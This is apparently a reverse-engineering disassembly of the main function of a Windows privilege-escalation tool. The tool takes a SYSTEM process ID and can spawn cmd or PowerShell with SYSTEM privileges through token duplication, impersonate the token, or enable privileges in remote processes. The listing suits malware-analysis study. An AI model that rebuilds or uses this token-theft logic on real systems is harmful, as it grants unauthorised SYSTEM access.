Function at 0x14000108c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push r14
sub rsp, 0x20
mov rbx, rdx
mov ebp, ecx
cmp ecx, 2
jge 0x14000114c
mov rdx, qword [rdx]
lea rcx, str._s__PID___Options__n
call fcn.14000104c
lea rcx, str._PID__:_Specify_the_PID_of_a_non_protected_SYSTEM_Process_n
call fcn.14000104c
lea rcx, str.Options:__n
call fcn.14000104c
lea rcx, str._getCMD_:_Create_a_New_CMD_process_With_Primary_Token_with_SYSTEM_Privileges_n
call fcn.14000104c
lea rcx, str._impersonate_:_Elevating_the_existing_thread_with_Impersonation_Token_n
call fcn.14000104c
lea rcx, str._getPowershell_:_Create_a_New_Powershell_process_with_SYSTEM_Privileges_n
call fcn.14000104c
lea rcx, str._tokeninfo_:_Gives_User_and_Group_Info_about_the_Token_n
call fcn.14000104c
lea rcx, str._listPrivileges_:_List_Privileges_n
call fcn.14000104c
lea rcx, str._listTokenStats_:_List_the_Token_Statistics_n
call fcn.14000104c
lea rcx, str._findSystem_:_Finds_System_Processes_currently_running._Needs_no_PID_n
call fcn.14000104c
lea rcx, str._checkPrivilege:_Check_if_the_Privilege_is_available_n
call fcn.14000104c
lea rcx, str._enableRemotePriv_:_Enable_the_Privilege_of_the_Specified_Process._In__PID__mention_the_Process_ID_for_which_you_want_to_enable_the_Privilege_n
call fcn.14000104c
mov eax, 1
jmp 0x140001249
mov rcx, qword [rdx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov r14d, eax
call fcn.140001580
cmp eax, 1
jne 0x14000116c
lea rcx, str.___Privilege_is__Enabled_for_Current_Process_n
jmp 0x14000119e
lea rcx, str.___Privilege_is_not_Enabled_for_Current_Process_n
call fcn.14000104c
lea rcx, str.___Enabling_the_Privilege_for_Current_Process_n
call fcn.14000104c
call fcn.1400014b8
cmp eax, 1
lea rcx, str.___Privilege_is_Enabled_for_the_Current_Process_n
lea rdx, str.___Cannot_Enable_privilege_for_the_Current_Process_n
cmovne rcx, rdx
call fcn.14000104c
cmp ebp, 2
jne 0x1400011c6
mov rcx, qword [rbx + 8]
lea rdx, str._findSystem
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000125f
call fcn.1400020e0
mov r8d, r14d
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x1400011f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_Open_Process._Failed_with_Error_Code:__d_n
call fcn.14000104c
cmp ebp, 3
jne 0x140001247
mov rcx, qword [rbx + 0x10]
lea rdx, str._getCMD
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140001274
lea rcx, str.___CMD_Process_Creation_With_Primary_Token_Started_n
call fcn.14000104c
lea rdx, str.C:Windows_system32cmd.exe
mov rcx, rsi
call fcn.140001810
lea rcx, str.___CMD_Process_Created_Successfully_with_Primary_Token_of_Process_ID:_d_n
lea rdx, str.___Cannot_Create_Process_with_Primary_Token_of_Process_ID:__d_n
cmp eax, 1
cmovne rcx, rdx
mov edx, r14d
call fcn.14000104c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
lea rcx, str.Ooops._Invaid_Option___n
call fcn.14000104c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbx + 0x10]
lea rdx, str._impersonate
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400012ad
lea rcx, str.___Process_Impersonation_Elevation_With_Impersonation_Token_Started_n
call fcn.14000104c
mov rcx, rsi
call fcn.1400019a0
lea rcx, str.___Process_Successfully_Elevated_with_Impersonation_Token_of_Process_ID:_d_n
lea rdx, str.___Cannot_Elevate_Process_with_Impersonation_Token_of_Process_ID:__d_n
jmp 0x140001238
mov rcx, qword [rbx + 0x10]
lea rdx, str._getPowershell
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400012e9
lea rcx, str.___Getting_Powershell_with_SYSTEM_Privileges
call fcn.14000104c
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
mov rcx, rsi
call fcn.140001810
lea rcx, str.___PowerShell_Process_Created_Successfully_with_Primary_Token_of_Process_ID:_d_n
jmp 0x140001231
mov rcx, qword [rbx + 0x10]
lea rdx, str._tokeninfo
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140001325
lea rcx, str.___Token_Information:__n
call fcn.14000104c
mov rcx, rsi
call fcn.140001a8c
lea rcx, str.___TOKEN_INFO_SUCCESSFULL_n
lea rdx, str.___TOKEN_INFO_FAILED_n
jmp 0x14000140c
mov rcx, qword [rbx + 0x10]
lea rdx, str._listPrivileges
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140001350
lea rcx, str.___List_Privileges:__n
call fcn.14000104c
mov rcx, rsi
call fcn.140001cfc
jmp 0x140001379
mov rcx, qword [rbx + 0x10]
lea rdx, str._listTokenStats
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000138c
lea rcx, str.___Listing_Token_Statistics_n
call fcn.14000104c
mov rcx, rsi
call fcn.140001f14
lea rcx, str.___List_Privileges_SUCCESSFULL_n
lea rdx, str.___List_Privileges_FAILED_n
jmp 0x14000140c
mov rcx, qword [rbx + 0x10]
lea rdx, str._checkPrivilege
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1400013c6
lea rcx, str.___Checking_Privilege_for_the_Remote_Process_n
call fcn.14000104c
mov edx, r14d
lea rcx, str.___PID_of_the_Remote_Process:__d_n
call fcn.14000104c
mov rdx, rsi
call fcn.140001664
jmp 0x1400013fe
mov rcx, qword [rbx + 0x10]
lea rdx, str._enableRemotePriv
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000141d
lea rcx, str.___Enabling_Privilege_for_the_Remote_Process_n
call fcn.14000104c
mov edx, r14d
lea rcx, str.___PID_of_the_Remote_Process:__d_n
call fcn.14000104c
mov rdx, rsi
call fcn.140001740
lea rcx, str.___Privilege_is_Enabled_for_the_Remote_Process_n
lea rdx, str.___Cannot_Enable_Privilege_for_the_Remote_Process_n
cmp eax, 1
cmovne rcx, rdx
call fcn.14000104c
jmp 0x140001247
lea rcx, str.Choose_a_valid_Option_n
call fcn.14000104c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3